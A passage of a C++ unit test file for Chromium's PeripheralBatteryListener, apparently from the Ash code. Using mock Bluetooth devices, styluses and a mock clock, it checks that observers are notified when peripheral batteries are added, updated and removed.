kBatteryPolledUpdate = false; const bool kBatteryEventUpdate = true; PeripheralBatteryListenerTest() : AshTestBase(base::test::TaskEnvironment::TimeSource::MOCK_TIME) {} PeripheralBatteryListenerTest(const PeripheralBatteryListenerTest&) = delete; PeripheralBatteryListenerTest& operator=( const PeripheralBatteryListenerTest&) = delete; ~PeripheralBatteryListenerTest() override = default; void SetUp() override { chromeos::PowerManagerClient::InitializeFake(); AshTestBase::SetUp(); ASSERT_TRUE(ui::DeviceDataManager::HasInstance()); // Simulate the complete listing of input devices, required by the listener. if (complete_devices_) ui::DeviceDataManagerTestApi().OnDeviceListsComplete(); mock_adapter_ = base::MakeRefCounted<NiceMock<device::MockBluetoothAdapter>>(); mock_device_1_ = std::make_unique<NiceMock<device::MockBluetoothDevice>>( mock_adapter_.get(), /*bluetooth_class=*/0, kBluetoothDeviceName1, kBluetoothDeviceAddress1, /*paired=*/true, /*connected=*/true); mock_device_2_ = std::make_unique<NiceMock<device::MockBluetoothDevice>>( mock_adapter_.get(), /*bluetooth_class=*/0, kBluetoothDeviceName2, kBluetoothDeviceAddress2, /*paired=*/true, /*connected=*/true); battery_listener_ = std::make_unique<PeripheralBatteryListener>(); } void TearDown() override { battery_listener_.reset(); AshTestBase::TearDown(); chromeos::PowerManagerClient::Shutdown(); } base::TimeTicks GetTestingClock() { return base::TimeTicks::Now(); } void ClockAdvance(base::TimeDelta delta) { task_environment()->AdvanceClock(delta); } void CreateInternalTouchscreen(bool garage) { // Add an internal stylus to our test device manager. ui::TouchscreenDevice stylus(/*id=*/0, ui::INPUT_DEVICE_INTERNAL, kTestStylusName, gfx::Size(), /*touch_points=*/1, /*has_stylus=*/true, /*has_stylus_garage_switch=*/garage); stylus.sys_path = base::FilePath(kTestStylusBatteryPath); ui::DeviceDataManagerTestApi().SetTouchscreenDevices({stylus}); } void CreateExternalTouchscreen() { // Add an external stylus to our test device manager. ui::TouchscreenDevice stylus(/*id=*/0, ui::INPUT_DEVICE_USB, kTestStylusName, gfx::Size(), /*touch_points=*/1, /*has_stylus=*/true); stylus.sys_path = base::FilePath(kTestStylusBatteryPath); ui::DeviceDataManagerTestApi().SetTouchscreenDevices({stylus}); } protected: scoped_refptr<NiceMock<device::MockBluetoothAdapter>> mock_adapter_; std::unique_ptr<device::MockBluetoothDevice> mock_device_1_; std::unique_ptr<device::MockBluetoothDevice> mock_device_2_; std::unique_ptr<PeripheralBatteryListener> battery_listener_; void set_complete_devices(bool complete_devices) { complete_devices_ = complete_devices; } // SetUp() doesn't complete devices if this is set to false. bool complete_devices_ = true; }; class PeripheralBatteryListenerIncompleteDevicesTest : public PeripheralBatteryListenerTest { public: PeripheralBatteryListenerIncompleteDevicesTest() { set_complete_devices(false); } ~PeripheralBatteryListenerIncompleteDevicesTest() override {} private: DISALLOW_COPY_AND_ASSIGN(PeripheralBatteryListenerIncompleteDevicesTest); }; TEST_F(PeripheralBatteryListenerTest, Basic) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); // Level 50 at time 100, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(100)); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::last_active_update_timestamp, Eq(absl::nullopt)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(kTestBatteryStatusOut))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 50, kTestBatteryStatusIn, kBatteryPolledUpdate); // Level 5 at time 110, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(10)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::last_active_update_timestamp, Eq(absl::nullopt)), AFIELD(&BI::level, Eq(5))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryPolledUpdate); // Level -1 at time 115, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(5)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::last_active_update_timestamp, Eq(absl::nullopt)), AFIELD(&BI::level, Eq(absl::nullopt))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, -1, kTestBatteryStatusIn, kBatteryPolledUpdate); // Level 50 at time 120, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(5)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::last_active_update_timestamp, Eq(absl::nullopt)), AFIELD(&BI::level, Eq(50))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 50, kTestBatteryStatusIn, kBatteryPolledUpdate); } TEST_F(PeripheralBatteryListenerTest, ActiveUpdates) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); // Level 50 at time 100, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(100)); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::charge_status, Eq(kTestBatteryStatusOut)), AFIELD(&BI::last_active_update_timestamp, Eq(absl::nullopt))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 50, kTestBatteryStatusIn, kBatteryPolledUpdate); // Level 5 at time 110, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(10)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::last_active_update_timestamp, Optional(GetTestingClock()))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryEventUpdate); // Level -1 at time 115, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(5)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::last_active_update_timestamp, Optional(GetTestingClock()))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, -1, kTestBatteryStatusIn, kBatteryEventUpdate); auto prior_active_update_time = GetTestingClock(); // Level 50 at time 120, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(5)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::last_active_update_timestamp, Optional(prior_active_update_time))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 50, kTestBatteryStatusIn, kBatteryPolledUpdate); } TEST_F(PeripheralBatteryListenerTest, FirstActiveUpdates) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); // Level 50 at time 100, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(100)); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::last_active_update_timestamp, Optional(GetTestingClock()))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 50, kTestBatteryStatusIn, kBatteryEventUpdate); } TEST_F(PeripheralBatteryListenerTest, InvalidBatteryInfo) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); const std::string invalid_path1 = "invalid-path"; const std::string invalid_path2 = "/sys/class/power_supply/hid-battery"; EXPECT_CALL(listener_observer_mock, OnAddingBattery(_)).Times(0); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(_)).Times(0); battery_listener_->PeripheralBatteryStatusReceived( invalid_path1, kTestDeviceName, 10, kTestBatteryStatusIn, kBatteryPolledUpdate); battery_listener_->PeripheralBatteryStatusReceived( invalid_path2, kTestDeviceName, 10, kTestBatteryStatusIn, kBatteryPolledUpdate); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, -2, kTestBatteryStatusIn, kBatteryPolledUpdate); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 101, kTestBatteryStatusIn, kBatteryPolledUpdate); // Note that -1 is a valid battery level for the Listener, so not checked. } // Verify that for Bluetooth devices, the correct address gets stored in the // BatteryInfo's bluetooth_address member, and for non-Bluetooth devices, that // bluetooth_address member is empty. TEST_F(PeripheralBatteryListenerTest, ExtractBluetoothAddress) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); const std::string bluetooth_path = "/sys/class/power_supply/hid-A0:b1:C2:d3:E4:f5-battery"; const std::string expected_bluetooth_address = "a0:b1:c2:d3:e4:f5"; const std::string expected_bluetooth_id = "battery_bluetooth-a0:b1:c2:d3:e4:f5"; const std::string non_bluetooth_path = "/sys/class/power_supply/hid-notbluetooth-battery"; testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(expected_bluetooth_id)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::key, Eq(expected_bluetooth_id)), AFIELD(&BI::level, Eq(10))))); battery_listener_->PeripheralBatteryStatusReceived( bluetooth_path, kTestDeviceName, 10, kTestBatteryStatusIn, kBluetoothBatteryUpdate); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(non_bluetooth_path)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::key, Eq(non_bluetooth_path)), AFIELD(&BI::bluetooth_address, Eq(""))))); battery_listener_->PeripheralBatteryStatusReceived( non_bluetooth_path, kTestDeviceName, 10, kTestBatteryStatusIn, kBatteryPolledUpdate); } TEST_F(PeripheralBatteryListenerTest, DeviceRemove) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(_)); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryPolledUpdate); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); battery_listener_->RemoveBluetoothBattery(kTestBatteryAddress); } TEST_F(PeripheralBatteryListenerTest, StylusNotification) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); const std::string kTestStylusBatteryPath = "/sys/class/power_supply/hid-AAAA:BBBB:CCCC.DDDD-battery"; const std::string kTestStylusName = "test_stylus"; const auto kTestStylusBatteryStatusDischargingIn = power_manager:: PeripheralBatteryStatus_ChargeStatus_CHARGE_STATUS_DISCHARGING; const auto kTestStylusBatteryStatusDischargingOut = BI::ChargeStatus::kDischarging; // Add an external stylus to our test device manager. ui::TouchscreenDevice stylus(/*id=*/0, ui::INPUT_DEVICE_USB, kTestStylusName, gfx::Size(), /*touch_points=*/1, /*has_stylus=*/true); stylus.sys_path = base::FilePath(kTestStylusBatteryPath); ui::DeviceDataManagerTestApi().SetTouchscreenDevices({stylus}); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(kTestStylusBatteryStatusDischargingOut)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaScreen)), AFIELD(&BI::bluetooth_address, Eq(""))))); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 50, kTestStylusBatteryStatusDischargingIn, kBatteryPolledUpdate); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(5))))); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 5, kTestStylusBatteryStatusDischargingIn, kBatteryEventUpdate); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(absl::nullopt))))); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, -1, kTestStylusBatteryStatusDischargingIn, kBatteryEventUpdate); } TEST_F(PeripheralBatteryListenerTest, Bluetooth_CreatesANotificationForEachDevice) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::level, Eq(5)), AFIELD(&BI::type, Eq(BI::PeripheralType::kOther)), AFIELD(&BI::name, Eq(kBluetoothDeviceName116)), AFIELD(&BI::bluetooth_address, Eq(kBluetoothDeviceAddress1))))); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId2)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId2)), AFIELD(&BI::level, Eq(0)), AFIELD(&BI::type, Eq(BI::PeripheralType::kOther)), AFIELD(&BI::name, Eq(kBluetoothDeviceName216)), AFIELD(&BI::bluetooth_address, Eq(kBluetoothDeviceAddress2))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/5); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_2_.get(), /*new_battery_percentage=*/0); } TEST_F(PeripheralBatteryListenerTest, Bluetooth_RemovesNotificationForDisconnectedDevices) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::level, Eq(5)), AFIELD(&BI::type, Eq(BI::PeripheralType::kOther)), AFIELD(&BI::name, Eq(kBluetoothDeviceName116)), AFIELD(&BI::bluetooth_address, Eq(kBluetoothDeviceAddress1))))); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId2)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId2)), AFIELD(&BI::level, Eq(0)), AFIELD(&BI::type, Eq(BI::PeripheralType::kOther)), AFIELD(&BI::name, Eq(kBluetoothDeviceName216)), AFIELD(&BI::bluetooth_address, Eq(kBluetoothDeviceAddress2))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/5); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_2_.get(), /*new_battery_percentage=*/0); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); // Verify only the notification for device 1 gets removed. battery_listener_->DeviceConnectedStateChanged(mock_adapter_.get(), mock_device_1_.get(), false); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId2)))); // Remove the second notification. battery_listener_->DeviceRemoved(mock_adapter_.get(), mock_device_2_.get()); } TEST_F(PeripheralBatteryListenerTest, Bluetooth_RemovesNotificationForDisconnectedDevicesInOtherOrder) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::bluetooth_address, Eq(kBluetoothDeviceAddress1))))); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId2)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kBluetoothDeviceId2)), AFIELD(&BI::bluetooth_address, Eq(kBluetoothDeviceAddress2))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/5); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_2_.get(), /*new_battery_percentage=*/0); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId2)))); // Remove the second notification. battery_listener_->DeviceRemoved(mock_adapter_.get(), mock_device_2_.get()); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); // Verify only the notification for device 1 gets removed. battery_listener_->DeviceConnectedStateChanged(mock_adapter_.get(), mock_device_1_.get(), false); } TEST_F(PeripheralBatteryListenerTest, Bluetooth_RemoveAndReconnect) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::bluetooth_address, Eq(kBluetoothDeviceAddress1))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/5); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); battery_listener_->DeviceConnectedStateChanged(mock_adapter_.get(), mock_device_1_.get(), false); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::bluetooth_address, Eq(kBluetoothDeviceAddress1))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/5); } TEST_F(PeripheralBatteryListenerTest, Bluetooth_CancelNotificationForInvalidBatteryLevel) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::level, Eq(1))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/1); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::level, Eq(absl::nullopt))))); battery_listener_->DeviceBatteryChanged( mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/absl::nullopt); } // Do notify observer if the battery level drops again under the // threshold before kNotificationInterval is completed. TEST_F(PeripheralBatteryListenerTest, EnsureUpdatesWithinSmallTimeIntervals) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); ClockAdvance(base::TimeDelta::FromSeconds(100)); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::level, Eq(1))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/1); ClockAdvance(base::TimeDelta::FromSeconds(1)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::level, Eq(absl::nullopt))))); battery_listener_->DeviceBatteryChanged( mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/absl::nullopt); ClockAdvance(base::TimeDelta::FromSeconds(1)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::level, Eq(1))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/1); } // Notify observer if the battery is under threshold, then unknown level and // then is again under the threshold after kNotificationInterval is completed. // (Listener should not pay attention to kNotificationInterval anyway.) TEST_F(PeripheralBatteryListenerTest, PostNotificationIfBatteryGoesFromUnknownLevelToBelowThreshold) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); ClockAdvance(base::TimeDelta::FromSeconds(100)); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::level, Eq(1))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/1); ClockAdvance(base::TimeDelta::FromSeconds(1)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::level, Eq(absl::nullopt))))); battery_listener_->DeviceBatteryChanged( mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/absl::nullopt); ClockAdvance(base::TimeDelta::FromSeconds(100)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::level, Eq(1))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/1); } // If there is an existing notification and the battery level remains low, // update its content. TEST_F(PeripheralBatteryListenerTest, UpdateNotificationIfVisible) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; ClockAdvance(base::TimeDelta::FromSeconds(100)); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::level, Eq(5))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/5); // The battery level remains low, should update the notification. ClockAdvance(base::TimeDelta::FromSeconds(100)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::last_update_timestamp, Eq(GetTestingClock())), AFIELD(&BI::level, Eq(3))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/3); } TEST_F(PeripheralBatteryListenerTest, MultipleObserversCoexist) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock_1; testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock_2; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs_1{&listener_observer_mock_1}; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs_2{&listener_observer_mock_2}; scoped_listener_obs_1.Observe(battery_listener_.get()); scoped_listener_obs_2.Observe(battery_listener_.get()); EXPECT_CALL(listener_observer_mock_1, OnAddingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); EXPECT_CALL(listener_observer_mock_2, OnAddingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); EXPECT_CALL(listener_observer_mock_1, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::level, Eq(50))))); EXPECT_CALL(listener_observer_mock_2, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::key, Eq(kTestBatteryId)), AFIELD(&BI::level, Eq(50))))); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 50, kTestBatteryStatusIn, kBatteryPolledUpdate); } TEST_F(PeripheralBatteryListenerTest, ObserverationLifetimeObeyed) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; testing::InSequence sequence; // Connect observer, add and remove battery scoped_listener_obs.Observe(battery_listener_.get()); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(_)); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryPolledUpdate); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); battery_listener_->RemoveBluetoothBattery(kTestBatteryAddress); // Disconnect observer, add and remove battery scoped_listener_obs.Reset(); 